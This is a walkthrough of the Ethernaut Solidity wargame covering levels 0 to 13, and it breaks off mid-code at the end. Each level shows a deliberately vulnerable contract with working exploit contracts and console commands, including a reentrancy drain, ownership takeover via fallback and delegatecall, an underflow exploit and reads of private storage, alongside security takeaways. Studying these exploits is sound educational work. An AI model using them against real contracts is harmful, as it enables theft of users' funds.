Skip to main content

Ethernaut Walkthrough

The Ethernaut is a Web3/Solidity based wargame inspired on overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game is 100% open source and all levels are contributions made by other players.

Ethernaut1 Ethernaut2

Levels

Level 0. Hello Ethernaut

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Instance {

string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;

// constructor
constructor(string memory _password) public {
password = _password;
}

function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}

function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}

function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}

function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}

function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}

function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}

function getCleared() public view returns (bool) {
return cleared;
}
}

Level 1. Fallback

Goal: This levels requires you to exploit a poorly implemented fallback function to gain control of someone else's smart contract.

What is a Fallback function

It is best practice to implement a simple Fallback function if you want your smart contract to generally receive Ether from other contracts and wallets.

The Fallback function enables a smart contract's inherent ability to act like a wallet.

If I have your wallet address, I can send you Ethers without your permission. In most cases, you might want to enable this ease-of-payment feature for your smart contracts too. This way, other contracts/wallets can send Ether to your contract, without having to know your ABI or specific function names.

Note: without a fallback, or known payable functions, smart contracts can only receive Ether: i) as a mining bonus, or ii) as the backup wallet of another contract that has self-destructed.

The problem is when developers implement key logic inside the fallback function.

Such bad practices include: changing contract ownership, transferring the funds, etc. inside the fallback function:

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}

For more about fallback and receive function read this.

This is why the fallback function in version 0.6x was split into two separate functions:

  • receive() external payable — For empty call data (and any value)
  • fallback() external payable — When no other function matches (not even the receive function). Optionally payable.

This separation provides an alternative to the fallback function for contracts that want to receive plain Ether.

Bad practice: you should not reassign contract ownership in a fallback function

This level demonstrates how you open up your contract to abuse, because anyone can trigger a fallback function.

Ways to trigger the Fallback function

Anyone can call a fallback function by:

  1. Calling a function that doesn't exist inside the contract, or
  2. Calling a function without passing in required data, or
  3. Sending Ether without any data to the contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;

constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable {
// call this function like:
// contract.contribute({value: toWei('0.0001', 'ether')})
// or contract.contribute({value: toWei('0.0001')})
// notice that the value should be less than 0.001 ether
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

Key Security Takeaways

  • If you implement a fallback function, keep it simple
  • Use fallback functions to emit payment events to the transaction log
  • Use fallback functions to check simple conditional requirements
  • Think twice before using fallback functions to change contract ownership, transfer funds, support low-level function calls, and more.

Level 2. Fallout

Goal: Gain control of someone else's smart contract.

Notice Fallout() is misspelled as Fal1out(), causing the constructor function to become a public function that you can call anytime.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

Level 3. Coin Flip

Goal: This levels requires you to correctly guess the outcome of a coin flip, ten times in a row.

How Ethereum generate "randomness"

There's no true randomness on Ethereum blockchain, only random generators that are considered "good enough".

Developers currently create psuedo-randomness in Ethereum by hashing variables that are unique, or difficult to tamper with. Examples of such variables include transaction timestamp, sender address, block height, etc.

Ethereum then offers two main cryptographic hashing functions, namely, SHA-3 and the newer KECCAK256, which hash the concatenation string of these input variables.

This generated hash is finally converted into a large integer, and then mod'ed by n. This is to get a discrete set of probability integers, inside the desired range of 0 to n.

Notice that in our Ethernaut exercise, n=2 to represent the two sides of a coin flip. Example of input variables that are often cryptographically hashed

This method of deriving pseudo-randomness in smart contracts makes them vulnerable to attack. Adversaries who know the input, can thus guess the "random" outcome.

This is the key to solving your CoinFlip level. Here, the input variables that determine the coin flip are publicly available to you.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

Solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}

contract HackFlip {
uint256 public consecutiveWins = 0;
uint256 lastHash;
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function coinFlipGuess(address _coinFlipAddr) external returns (uint256) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

bool isRight = ICoinFlip(_coinFlipAddr).flip(side);
if (isRight) {
consecutiveWins++;
} else {
consecutiveWins = 0;
}

return consecutiveWins;
}
}

Now, simply call coinFlipGuess method (on Remix) with <your-instance-address> as only parameter, 10 times with successful transaction.

Go back to console and query consecutiveWins from CoinFlip instance:

await contract.consecutiveWins().then(v => v.toString())
// Output: '10'

Useful links:

Level 4. Telephone

Goal: Gain control of someone else's smart contract.

Difference between tx.origin and msg.sender

While this example may be simple, confusing tx.origin with msg.sender can lead to phishing-style attacks, such as this and this.

An example of a possible attack is outlined below.

  1. Use tx.origin to determine whose tokens to transfer, e.g. function transfer(address _to, uint _value) { tokens[tx.origin] -= _value; tokens[_to] += _value; }

  2. Attacker gets victim to send funds to a malicious contract that calls the transfer function of the token contract, e.g. function () payable { token.transfer(attackerAddress, 10000); }

  3. In this scenario, tx.origin will be the victim's address (while msg.sender will be the malicious contract's address), resulting in the funds being transferred from the victim to the attacker.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

player will call HackTelephone contract's telephone, which in turn will call Telephone's changeOwner with msg.sender (which is player) as param. In that case tx.origin is player and msg.sender is HackTelephone's address. And since now tx.origin != msg.sender, player has claimed the ownership.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface ITelephone {
function changeOwner(address _owner) external;
}

contract HackTelephone {
function telephone(address _telephoneAddr) external {
ITelephone(_telephoneAddr).changeOwner(0xc85cD8feb12dBFBCA493C8F80b2F93161D0df642);
}
}

Level 5. Token

Goal: player is initially assigned 20 tokens i.e. balances[player] = 20 and has to somehow get any additional tokens (so that balances[player] > 20 ).

Integer overflow/underflow in Solidity 0.6.0

Overflows are very common in solidity and must be checked for with control statements such as: if(a + c > a) { a = a + c; } An easier alternative is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this: a = a.add(c); If there is an overflow, the code will revert.

The transfer method of Token performs some unchecked arithmetic operations on uint256 (uint is shorthand for uint256 in Solidity) integers. That is prone to underflow.

The max value of a 256 bit unsigned integer can represent is 2256 - 1, which is - 115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665,640,564,039,457,584,007,913,129,639,935

Hence uint256 can only comprise values from 0 to 2^256 - 1 only. Any addition/subtraction would cause overflow/underflow. For example:

Let M = 2^256 - 1 (max value of uint256)

0 - 1 = M

M + 1 = 0

20 - 21 = M

(All numbers are 256-bit unsigned integers)

We're going to use last expression from example above to exploit the contract.

Let's call transfer with a zero address (or any address other than player) as _to and 21 as _value to transfer.

// balances[msg.sender] = 20 - 21 = 2^256 - 1
await contract.transfer('0x0000000000000000000000000000000000000000', 21)

A nice thing to note is that it worked because contract's compiler version is v0.6.0. This, most probably, won't work for latest version because underflow/overflow causes failing assertion by default in latest version.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

My Solution (w/o using overflow):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IToken {
function transfer(address _to, uint _value) external returns (bool);
}

contract HackToken {
function hackToken(address _tokenAddr) external {
// transfer to my address 21000000 tokens from this contract address:
IToken(_tokenAddr).transfer(0xc85cD8feb12dBFBCA493C8F80b2F93161D0df642, 21000000);
}
}

Useful links: Who is msg.sender when calling a contract from a contract

Level 6. Delegation

Goal: Gain control of someone else's smart contract.

Usage of delegatecall is particularly risky and has been used as an attack vector on multiple historic hacks. With it, your contract is practically saying "here, -other contract- or -other library-, do whatever you want with my state". Delegates have complete access to your contract's state. The delegatecall function is a powerful feature, but a dangerous one, and must be used with extreme care.

Please refer to the The Parity Wallet Hack Explained article for an accurate explanation of how this idea was used to steal 30M USD.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

A simple one if you clearly understand how delegatecall works, which is being used in fallback method of Delegation.

We just have to send function signature of pwn method of Delegate as msg.data to fallback so that code of Delegate is executed in the context of Delegation. That changes the ownership of Delegation.

So, first get encoded function signature of pwn, in console:

signature = web3.eth.abi.encodeFunctionSignature('pwn()')

Then we send a transaction with signature as data, so that fallback gets called:

await contract.sendTransaction({ from: player, data: signature })

Level 7. Force (***)

In solidity, for a contract to be able to receive ether, the fallback function must be marked payable.

However, there is no way to stop an attacker from sending ether to a contract by self destroying. Hence, it is important not to count on the invariant address(this).balance == 0 for any contract logic.

player has to somehow make this empty contract's balance grater that 0.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

Simple transfer or send won't work because the Force implements neither receive nor fallaback functions. Calls with any value will revert.

However, the checks can be bypassed by using selfdestruct of an intermediate contract - Payer which would specify Force's address as beneficiary of it's funds after it's self-destruction.

Solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract HackForce {
uint public balance = 0;

function destruct(address payable _to) external payable {
selfdestruct(_to);
}

function deposit() external payable {
balance += msg.value;
}
}

Send a value of say, 10000000000000 Wei (0.00001 eth) by calling deposit, so that Payer's balance increases to same amount.

Call destruct of Payer with <instance-address> as parameter. That's destroy Payer and send all of it's funds to Force.

Level 8. Vault

Goal: player has to set locked to false.

It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it. zk-SNARKs (RSA (Rivest-Shamir-Adleman, a public-key cryptosystem) and Zero-Knowledge Proofs) provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

Only way is by calling unlock by correct password.

Although password state variable is private, one can still read a storage variable by determining it's storage slot. Therefore sensitive information should not be stored on-chain, even if it is specified private.

Above, the password is at a storage slot of 1 in Vault.

Read the password:

// e is null/event here
await web3.eth.getStorageAt(instance, 1, (e, v) => console.log(v))
// or
await web3.eth.getStorageAt(instance, 1, (e, v) =>
console.log(web3.utils.toAscii(v)),
)
// or
password = await web3.eth.getStorageAt(contract.address, 1)

Useful links:

Level 9. King

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Goal: player has to prevent the current level from reclaiming the kingship after instance is submitted.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value); // <===
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

Kingship is switched in receive function i.e. when a specific value is sent to King. So, we'll have to somehow prevent execution of receive.

The key thing to notice is that previous king is sent back msg.value using transfer. But what if this previous king was a contract and it didn't implement any receive or fallback? It won't be able to receive any value. transfer stops execution with an exception (unlike send).

Solution: (a contract HackKing that has NO receive or fallback)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract HackKing {
function claimKingship(address payable _to) public payable {
(bool sent, ) = _to.call{value: msg.value}("");
require(sent, "Failed to send value");
}
}

Call claimKingship of HackKing with param <instance-address> and set the amount 1000000000000000 Wei as value in Remix. That will make HackKing contract as king.

Submit the instance. Upon submitting the level will try to reclaim kingship through receive fallback. However, it will fail.

This is because upon reaching line:

king.transfer(msg.value)

exception would occur because king (i.e. deployed HackKing contract) has no fallback functions.

Bonus thing to note here is that in HackKing's claimKingship, call is used specifically. transfer or send will fail because of limited 2300 gas stipend. receive of King would require more than 2300 gas to execute successfully.

Most of Ethernaut's levels try to expose (in an oversimplified form of course) something that actually happened — a real hack or a real bug.

In this case, see: King of the Ether and King of the Ether Postmortem.

Useful links:

Level 10. Re-entrancy

Goal: player has to steal all of the contract's funds.

Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) { // <==
(bool result,) = msg.sender.call{value:_amount}(""); // <==
if(result) {
_amount;
}
balances[msg.sender] -= _amount; // <==
}
}

receive() external payable {}
}

We're going to attack Reentrance with our written contract ReentrancyAttack. Deploy it with target contract (Reentrance) address:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}

contract ReentrancyAttack {
address public owner;
IReentrance targetContract;
uint targetValue = 1000100000000000;

constructor(address _targetAddr) {
targetContract = IReentrance(_targetAddr);
owner = msg.sender;
}

function balance() public view returns (uint) {
return address(this).balance;
}

function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate{value: msg.value}(address(this));
targetContract.withdraw(msg.value);
}

function withdrawAll() public returns (bool) {
require(msg.sender == owner, "it's my money!");
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call{value: totalBalance}("");
// require(sent, "Failed to send Ether");
return sent;
}

receive() external payable { // <== [1]
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) targetContract.withdraw(targetValue);
}
}

Now call donateAndWithdraw of ReentrancyAttack with value of 1000000000000000 wei (0.001 ether) and chain reaction starts:

  • First targetContract.donate.value(msg.value)(address(this)) causes the balances[msg.sender] of Reentrance to set to sent amount. donate of Reentrance finishes it's execution
  • Immediately after, targetContract.withdraw(msg.value) invokes withdraw of Reentrance, which sends the same donated amount back to ReentrancyAttack.
  • receive of ReentrancyAttack is invoked. Note that withdraw hasn't finished execution yet! So still balances[msg.sender] is equal to initially donated amount. Now we call withdraw of ReentrancyAttack again in receive.
  • Second invocation of withdraw executes and it's passes the require statement this time again! So, it sends the msg.sender (ReentrancyAttack address) that amount again!
  • Simple arithmetic plays out and recursive execution is halted only when balance of Reentrance is reduced to 0. [1]

The DAO Hack

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.

  • Check out the full analysis of the DAO hack here.
  • To those interested, the Re-entrancy attack was responsible for the infamous DAO hack of 2016 which shook the whole Ethereum community. $60 million dollars of funds were stolen. Later, Ethereum blockchain was hard forked to restore stolen funds, but not all parties consented to decision. That led to splitting of network into distinct chains - Ethereum and Ethereum Classic.

Key Security Takeaways

  • The order of execution really matters in Solidity. If you must make external function calls, make the last thing you do (after all requisite checks and balances):
    function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
    balances[msg.sender] -= _amount;
    if(msg.sender.transfer(_amount)()) {
    _amount;
    }
    }
    }
    // Or even better, invoke transfer in a separate function
  • Include a mutex to prevent re-entrancy, e.g. use a boolean lock variable to signal execution depth.
  • Be careful when using function modifiers to check invariants: modifiers are executed at the start of the function. If the variable state will change during the entirety of the function, consider extracting the modifier into a check placed at the correct line in the function.
  • ❌ "Use transfer to move funds out of your contract, since it throws and limits gas forwarded. Low level functions like call and send just return false but don't interrupt the execution flow when the receiving contract fails." — from Ethernaut level
    • transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork. Source 1 Source 2
  • Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.
  • Re-entrancy is a common attack. You should always be prepared for it!

Level 11. Elevator

Goal: player has to set top to true i.e. have to reach top of the building.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}

contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

Solution: (Solidity inheritance)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface Building {
function isLastFloor(uint) external returns (bool);
}

interface IElevator {
function goTo(uint _floor) external;
}

contract MyBuilding is Building {

bool public isLast = true;

function isLastFloor(uint _n) override external returns (bool) {
isLast = !isLast;
return isLast;
}

function callGoTo(address _elevatorAddr) public {
IElevator(_elevatorAddr).goTo(1);
}
}

or

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

interface IElevator {
function goTo(uint _floor) external;
}

contract Building {
IElevator public el = IElevator(0xB5A83695305eCaF30Beed5DbC5B4fbA9C307608c);
bool public switchFlipped = false;

function hack() public {
el.goTo(1);
}

function isLastFloor(uint) public returns (bool) {
if (!switchFlipped) { // first call
switchFlipped = true;
return false;
} else { // second call
switchFlipped = false;
return true;
}
}
}

Although we did implement isLastFloor, we won't use _floor param anywhere to determine if it's last floor. We are not obliged to anyway.

We just alternate between returning true and false, so that 1st call will return false and 2nd call returns true and so on.

Simply call callGoTo of MyBuilding, with contract.address of instance. That'll trigger Elevator to call isLastFloor of our contract - MyBuilding. And since second call sets top variable, it is set to true.

Key Security Takeaways

  • You can use the view function modifier on an interface in order to prevent state modifications. The pure modifier also prevents functions from modifying the state. Make sure you read Solidity's documentation and learn its caveats.
  • An alternative way to solve this level is to build a view function which returns different results depends on input data but don't modify state, e.g. gasleft().

Useful links:

Level 12. Privacy (****)

Goal: player has to set locked state variable to false.

Refer to Level 8 about layout of state variables in a Solidity contract and reading storage at a slot.

To solve this level, let's dive deeper into how Ethereum optimises data storage. But first, make sure you know how to read storage on the blockchain.

Exceptions:

  1. constants are not stored in storage. From Ethereum documentation, that the compiler does not reserve a storage slot for constant variables. This means you won't find the following in any storage slots:
contract A {
uint public constant number = ...; //not stored in storage
}
  1. Mappings and dynamically-sized arrays do not stick to these conventions. More on this at a later level.

Given Contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

unlock uses the third entry (index 2) of data which is a bytes32 array. Let's determined data's third entry's slot number (each slot can accommodate at most 32 bytes) according to storage rules:

  • locked is 1 byte bool in slot 0.
  • ID is a 32 byte uint256. It is 1 byte extra big to be inserted in slot 0. So it goes in & totally fills slot 1.
  • flattening - a 1 byte uint8, denomination - a 1 byte uint8 and awkwardness - a 2 byte uint16 totals 4 bytes. So, all three of these go into slot 2.
  • Array data always start a new slot, so data starts from slot 3. Since it is bytes32 array each value takes 32 bytes. Hence value at index 0 is stored in slot 3, index 1 is stored in slot 4 and index 2 value goes into slot 5.

Alright so key is in slot 5 (index 2 / third entry). Read it.

key = await web3.eth.getStorageAt(contract.address, 5)

This key is 32 byte. But require check in unlock converts the data[2] 32 byte value to a byte16 before matching.

byte16(data[2]) will truncate the last 16 bytes of data[2] and return only the first 16 bytes.

Accordingly convert key to a 16 byte hex (with prefix - 0x):

key = key.slice(0, 34) // <== 34 = 2 * 16 + 2 since 1 byte = 8 bits = 2 hex digits

Nothing in the ethereum blockchain is private. The keyword private is merely an artificial construct of the Solidity language. Web3's getStorageAt(...) can be used to read anything from storage. It can be tricky to read what you want though, since several optimization rules and techniques are used to compact the storage as much as possible.

It can't get much more complicated than what was exposed in this level. For more, check out this excellent article by "Darius": How to read Ethereum contract storage

Key Security Takeaways

  • In general, excessive slot usage wastes gas, especially if you declared structs that will reproduce many instances. Remember to optimize your storage to save gas!
  • Save your variables to memory if you don't need to persist smart contract state. SSTORE and SLOAD are very gas intensive opcodes.
  • All storage is publicly visible on the blockchain, even your private variables!
  • Never store passwords and private keys without hashing them first
  • 1 byte = 8 bits = 2 hex
  • uint8 = bool = 1 byte
  • uint16 = 2 bytes

Level 13. Gatekeeper One

Goal: player has to pass all require checks and set entrant to player address.

Given contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.3/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

Useful links:

We start with following GatePassOne to attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract GatePassOne {
function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 gateKey = bytes8(uint64(uint160(tx.origin)));
(bool success, ) = address(_gateAddr).call{gas: _gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
return success;
}
}

gateOne

This is exactly same as level 4. A basic intermediary contract will be used to call enter, so that msg.sender != tx.origin.

gateTwo

According to the contract, the remaining gas just after gasleft is called, should be a multiple of 8191. We can control the gas amount sent with transaction using call. But it need to be set in such a way that amount set minus amount used up until gasleft's return should be a multiple of 8191.

I'm going to use Remix's Debug feature and a little bit of trial & error to determine the remaining gas up until to that point. But first copy & deploy GatekeeperOne in Remix with JavaScript VM environment (since trials are quick & Debug on testnet didn't work on Remix for me!), with same solidity compiler version. Also deploy GateKeeperOneGasEstimate with same environment, to help with estimating gas used up to that point:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract GateKeeperOneGasEstimate {
function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 gateKey = bytes8(uint64(uint160(tx.origin)));
(bool success, ) = address(_gateAddr).call{gas: _gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
return success;
}
}

Initially choose a random fixed gas amount (but big enough) to send with transaction. Let's say 90000. And call enterGate of GateKeeperOneGasEstimate with address of our deployed GatekeeperOne (from Remix, not Ethernaut's!) and the chosen gas. Now hit Debug button in Remix console against the mined transaction. Focus on left pane.

See the list of opcodes executed corresponding to our contract execution. Step over (or drag progress bar) until the line with gasleft is highlighted:

289 JUMPDEST
290 PUSH1 ..
292 PUSH2 ..
295 GAS
296 PUSH2
.
.
.
139 RETURN

Step here and there to locate the GAS opcode which corresponds to gasleft call. Proceed just one step more (to PUSH2 here) and note the "remaining gas" from Step Detail just below. In my case it's 4395. Hence gas used up to that point:

gasUsed = _gas - remaining_gas
or, gasUsed = 90000 - 4395
or, gasUsed = 85605

Now, we have gasUsed and we want set a _gas such that gasLeft returns a multiple of 8191. One such value would be:

_gas = (8191 * 1) + gasUsed
or, _gas = (8191 * 1) + 85605
or, _gas = 93796

(Note that I randomly chose 8 to multiply to 8191, you can choose any as log as sufficient gas is provided for transaction)

So _gas should probably be 93796 to pass the check. But, the target GateKeeperOne contract (Ethernaut's instance) on Rinkeby network must've had a little bit of different compile time options. So correct _gas is not necessarily 93796, but a close one. Let's pick a reasonable margin around 93796 and call enter for all values around 93796 with that margin. A margin of 64 worked for me. Let's update GatePassOne:

contract GatePassOne {
event Entered(bool success);

function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 key = bytes8(uint64(uint160(tx.origin)));

bool succeeded = false;

for (uint i = _gas - 64; i < _gas + 64; i++) {
(bool success, ) = address(_gateAddr).call{gas: i}(abi.encodeWithSignature("enter(bytes8)", key));
if (success) {
succeeded = success;
break;
}
}

emit Entered(succeeded);

return succeeded;
}
}

Calling enterGate with GateKeeper address and 65782, params should now clear gateTwo.

gateThree

This has checks that involves explicit conversions between uints. It can be inferred from third require statement that the _gateKey should be extracted from tx.origin through casting while satisfying other checks.

tx.origin will be the player which in my case is:

0xd557a44ed144bf8a3da34ba058708d1b4bc0686a

We should be concerned with only 8 bytes of it since _gateKey is bytes8 (8 byte size) type. And specifically last 8 bytes of it, since uint conversions retain the last bytes.

So, 8 bytes portion (say, key) of our interest: key = 58 70 8d 1b 4b c0 68 6a

Accordingly, uint32(uint64(key)) = 4b c0 68 6a.

To satisfy third require, it is needed that:

uint32(uint64(key)) == uint16(tx.origin)
or, 4b c0 68 6a = 68 6a

which is only possible by masking with 00 00 ff ff , such that: 4b c0 68 6a & 00 00 ff ff = 68 6a

The first require is satisfied by:

uint32(uint64(_gateKey)) == uint16(uint64(key)
or, 4b c0 68 6a = 68 6a

which is same problem as previous one and can be achieved with same, previous value of mask.

The second require asks to satisfy:

uint32(uint64(key)) != uint64(key)
or, 4b c0 68 6a != 58 70 8d 1b 4b c0 68 6a

We modify the mask to: mask = ff ff ff ff 00 00 ff ff

so that it satisfies: 00 00 00 00 4b c0 68 6a & ff ff ff ff 00 00 ff ff != 58 70 8d 1b 4b c0 68 6a while also satisfying other two requires.

Hence the _gateKey should be:

_gateKey = key & mask
or, _gateKey = 58 70 8d 1b 4b c0 68 6a & ff ff ff ff 00 00 ff ff

Finally, update GatePassOne to reflect it.

contract GatePassOne {
event Entered(bool success);

function enterGate(address _gateAddr, uint256 _gas) public returns (bool) {
bytes8 key = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff;

bool succeeded = false;

